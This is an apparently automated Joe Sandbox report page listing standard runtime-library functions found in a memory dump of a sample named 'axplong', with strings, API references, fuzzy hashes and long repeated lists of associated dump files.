Associated: 00000013.00000002.4697922280.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699420723.0000000000872000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699563536.0000000000873000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699563536.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4702535882.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4702653147.0000000000898000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704422063.00000000008AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704505096.00000000008B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704629322.00000000008B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4705496854.00000000008BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4706629701.00000000008BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707686757.00000000008C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707799817.00000000008DD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707878299.00000000008E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4708044169.00000000008E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709122257.00000000008E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709210472.00000000008EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709395907.00000000008F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709484840.00000000008FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709550569.00000000008FE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709614822.00000000008FF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709661927.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710559459.0000000000909000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710696124.000000000090A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710869674.0000000000912000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4712984146.0000000000913000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713341867.0000000000914000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713438502.000000000091C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713587627.000000000092D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713853632.000000000092E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714384535.000000000094F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714509226.0000000000950000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714509226.000000000095C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714609959.0000000000987000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714652704.0000000000988000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714699467.0000000000989000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714743825.000000000098E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714783479.0000000000990000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714828772.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714871922.000000000099F000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_690000_axplong.jbxd

Yara matches

Similarity

API ID: FindInstanceTargetType$Offset
String ID: Bad dynamic_cast!
API String ID: 1467055271-2956939130
Opcode ID: 6673559b3325aa938e3a63435f0e08eb348f00ec1ca2da89153057f6061bbe3e
Instruction ID: a72527391496f301ce860e152e03a84db63a0b127b47f15cf108ec5a7fdea84a
Opcode Fuzzy Hash: 6673559b3325aa938e3a63435f0e08eb348f00ec1ca2da89153057f6061bbe3e
Instruction Fuzzy Hash: 3021E572A00215AFCB14EFA8D956FBA77ABEF44720B10821DE91293285DF30FD01C6A5

Function 006C70C9 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 74COMMONLIBRARYCODE

Download Yara Rule

APIs

_wcsrchr.LIBVCRUNTIME ref: 006C710B

Strings

.cmd, xrefs: 006C7129
.bat, xrefs: 006C713A
.com, xrefs: 006C714B
.exe, xrefs: 006C7118

Memory Dump Source

Source File: 00000013.00000002.4690859834.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Offset: 00690000, based on PE: true

Associated: 00000013.00000002.4689556026.0000000000690000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4690859834.00000000006F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691660698.00000000006F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691765971.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691911663.0000000000707000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4696692809.000000000085D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4696975055.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4697922280.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699420723.0000000000872000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699563536.0000000000873000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699563536.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4702535882.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4702653147.0000000000898000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704422063.00000000008AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704505096.00000000008B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704629322.00000000008B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4705496854.00000000008BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4706629701.00000000008BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707686757.00000000008C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707799817.00000000008DD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707878299.00000000008E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4708044169.00000000008E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709122257.00000000008E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709210472.00000000008EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709395907.00000000008F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709484840.00000000008FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709550569.00000000008FE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709614822.00000000008FF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709661927.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710559459.0000000000909000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710696124.000000000090A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710869674.0000000000912000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4712984146.0000000000913000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713341867.0000000000914000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713438502.000000000091C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713587627.000000000092D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713853632.000000000092E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714384535.000000000094F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714509226.0000000000950000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714509226.000000000095C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714609959.0000000000987000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714652704.0000000000988000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714699467.0000000000989000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714743825.000000000098E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714783479.0000000000990000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714828772.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714871922.000000000099F000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_690000_axplong.jbxd

Yara matches

Similarity

API ID: _wcsrchr
String ID: .bat$.cmd$.com$.exe
API String ID: 1752292252-4019086052
Opcode ID: c3f681bba0c8e0d641f8776a53ca765c4fd2f95d9c72f1cb799b8004e1b9cb57
Instruction ID: 7e69bf2f4367679d60f9e230ab372e33452614672db0dd282654a6171e37e8d3
Opcode Fuzzy Hash: c3f681bba0c8e0d641f8776a53ca765c4fd2f95d9c72f1cb799b8004e1b9cb57
Instruction Fuzzy Hash: CF0108276083662616582419AC03FBF278FDB82BB471E002FF944FB7C1DE54DC0245D4

Function 006AF9A1 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 66COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 006AFA36

Strings

kernel32.dll, xrefs: 006AF9AA
SetThreadGroupAffinity, xrefs: 006AF9B7
GetThreadGroupAffinity, xrefs: 006AF9C3
GetCurrentProcessorNumberEx, xrefs: 006AF9EE

Memory Dump Source

Source File: 00000013.00000002.4690859834.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Offset: 00690000, based on PE: true

Associated: 00000013.00000002.4689556026.0000000000690000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4690859834.00000000006F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691660698.00000000006F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691765971.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691911663.0000000000707000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4696692809.000000000085D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4696975055.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4697922280.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699420723.0000000000872000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699563536.0000000000873000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699563536.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4702535882.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4702653147.0000000000898000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704422063.00000000008AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704505096.00000000008B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704629322.00000000008B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4705496854.00000000008BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4706629701.00000000008BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707686757.00000000008C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707799817.00000000008DD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707878299.00000000008E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4708044169.00000000008E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709122257.00000000008E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709210472.00000000008EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709395907.00000000008F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709484840.00000000008FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709550569.00000000008FE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709614822.00000000008FF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709661927.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710559459.0000000000909000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710696124.000000000090A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710869674.0000000000912000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4712984146.0000000000913000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713341867.0000000000914000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713438502.000000000091C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713587627.000000000092D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713853632.000000000092E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714384535.000000000094F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714509226.0000000000950000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714509226.000000000095C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714609959.0000000000987000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714652704.0000000000988000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714699467.0000000000989000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714743825.000000000098E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714783479.0000000000990000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714828772.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714871922.000000000099F000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_690000_axplong.jbxd

Yara matches

Similarity

API ID: Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error
String ID: GetCurrentProcessorNumberEx$GetThreadGroupAffinity$SetThreadGroupAffinity$kernel32.dll
API String ID: 348560076-465693683
Opcode ID: d4f3f460bac2eb7eb410c75ba861da4f3159c041a0ffa3d53d8c657bad1fe70f
Instruction ID: 514229de95a75b1d49db0bb562600823d1832b6521e94b857f85d879ed0a0bc2
Opcode Fuzzy Hash: d4f3f460bac2eb7eb410c75ba861da4f3159c041a0ffa3d53d8c657bad1fe70f
Instruction Fuzzy Hash: 69012621A86341AEA72073F65C469FB31CF9D03748B12143EB612E2281ED71DC0149A6

Function 006C1FC4 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 65COMMON

Download Yara Rule

APIs

StructuredWorkStealingQueue.LIBCMT ref: 006C1FE4

Part of subcall function 006BCA23: Mailbox.LIBCMT ref: 006BCA5D

Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 006C1FF5
StructuredWorkStealingQueue.LIBCMT ref: 006C202B
Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 006C203C

Strings

e, xrefs: 006C2006

Memory Dump Source

Source File: 00000013.00000002.4690859834.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Offset: 00690000, based on PE: true

Associated: 00000013.00000002.4689556026.0000000000690000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4690859834.00000000006F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691660698.00000000006F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691765971.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691911663.0000000000707000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4696692809.000000000085D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4696975055.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4697922280.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699420723.0000000000872000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699563536.0000000000873000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699563536.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4702535882.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4702653147.0000000000898000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704422063.00000000008AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704505096.00000000008B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704629322.00000000008B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4705496854.00000000008BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4706629701.00000000008BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707686757.00000000008C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707799817.00000000008DD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707878299.00000000008E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4708044169.00000000008E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709122257.00000000008E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709210472.00000000008EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709395907.00000000008F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709484840.00000000008FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709550569.00000000008FE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709614822.00000000008FF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709661927.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710559459.0000000000909000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710696124.000000000090A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710869674.0000000000912000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4712984146.0000000000913000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713341867.0000000000914000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713438502.000000000091C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713587627.000000000092D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713853632.000000000092E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714384535.000000000094F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714509226.0000000000950000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714509226.000000000095C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714609959.0000000000987000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714652704.0000000000988000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714699467.0000000000989000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714743825.000000000098E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714783479.0000000000990000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714828772.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714871922.000000000099F000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_690000_axplong.jbxd

Yara matches

Similarity

API ID: Work$Concurrency::details::ItemItem::QueueStealingStructured$Mailbox
String ID: e
API String ID: 1411586358-4024072794
Opcode ID: 1b6716c63c17d6c6149872910042524b7f9ebb3f5e3c7538eb01a51a2faaeb53
Instruction ID: 22a1ac05bc8e289257381c35f5f3c21d4227ba1b37753012d29546ab8555ef2f
Opcode Fuzzy Hash: 1b6716c63c17d6c6149872910042524b7f9ebb3f5e3c7538eb01a51a2faaeb53
Instruction Fuzzy Hash: AE1154312001069BDB55DE69C861FBA73ABEF13364B14C06EEC05DF242DA71DD05CBA5

Function 006BB8A5 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 64COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 006BB93E

Strings

RoInitialize, xrefs: 006BB8C8
T[o, xrefs: 006BB91E
combase.dll, xrefs: 006BB8B3, 006BB8B8, 006BB8CD, 006BB8F8
RoUninitialize, xrefs: 006BB8F1

Memory Dump Source

Source File: 00000013.00000002.4690859834.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Offset: 00690000, based on PE: true

Associated: 00000013.00000002.4689556026.0000000000690000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4690859834.00000000006F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691660698.00000000006F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691765971.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691911663.0000000000707000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4696692809.000000000085D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4696975055.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4697922280.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699420723.0000000000872000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699563536.0000000000873000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699563536.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4702535882.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4702653147.0000000000898000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704422063.00000000008AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704505096.00000000008B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704629322.00000000008B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4705496854.00000000008BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4706629701.00000000008BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707686757.00000000008C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707799817.00000000008DD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707878299.00000000008E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4708044169.00000000008E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709122257.00000000008E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709210472.00000000008EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709395907.00000000008F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709484840.00000000008FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709550569.00000000008FE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709614822.00000000008FF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709661927.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710559459.0000000000909000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710696124.000000000090A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710869674.0000000000912000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4712984146.0000000000913000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713341867.0000000000914000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713438502.000000000091C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713587627.000000000092D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713853632.000000000092E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714384535.000000000094F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714509226.0000000000950000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714509226.000000000095C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714609959.0000000000987000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714652704.0000000000988000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714699467.0000000000989000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714743825.000000000098E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714783479.0000000000990000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714828772.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714871922.000000000099F000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_690000_axplong.jbxd

Yara matches

Similarity

API ID: Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error
String ID: RoInitialize$RoUninitialize$T[o$combase.dll
API String ID: 348560076-2621598699
Opcode ID: b920dbf53f6489c605bfa8e6cecd27eb6f33897217268f94a594014f83b42b59
Instruction ID: 59b6957614031bef5336dc685f442fa919519eee255b12c322efb51d3dd4e591
Opcode Fuzzy Hash: b920dbf53f6489c605bfa8e6cecd27eb6f33897217268f94a594014f83b42b59
Instruction Fuzzy Hash: 4501D6A09823516EE720BBB64C15AFF358F9F03748F21642DB641E6281EF74DC0187A6

Function 006ACF59 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 59COMMON

Download Yara Rule

APIs

___scrt_fastfail.LIBCMT ref: 006ACFD5

Strings

WakeAllConditionVariable, xrefs: 006ACF99
api-ms-win-core-synch-l1-2-0.dll, xrefs: 006ACF6B
kernel32.dll, xrefs: 006ACF7C
SleepConditionVariableCS, xrefs: 006ACF8D

Memory Dump Source

Source File: 00000013.00000002.4690859834.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Offset: 00690000, based on PE: true

Associated: 00000013.00000002.4689556026.0000000000690000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4690859834.00000000006F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691660698.00000000006F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691765971.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691911663.0000000000707000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4696692809.000000000085D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4696975055.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
